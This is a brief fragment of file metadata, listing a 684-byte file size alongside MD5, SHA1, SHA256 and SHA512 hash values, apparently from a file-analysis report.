SHA25662c7101eb2648247fcc5724b73ded2c90884ada2539029b99d1787f9d7969f4d
SHA512f41227d22d6127860c5cd7db72e4205fd00a90a47d2061c11a7926e20518f63862aa000e00155cd911f5d186737303e557d71eab2c7119625fe3e041281892d0
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Filesize
684B
MD514877a175dcf4160e7043eab1440ca92
SHA1780214e001d7c60ee996e73a01683911c0390721
SHA256f4e9eaa566ccf9574c013f6f7dc4bf8723727659adacb4816efa56b922e59b0b
SHA512e87583ecaf2971d72081c3e869fe9c508a82cf19dceb11dec347bb09764a918231b20ecb28baa524a12a456b1ae033fa213231ceba30657ae5b3269bf7dcbb3f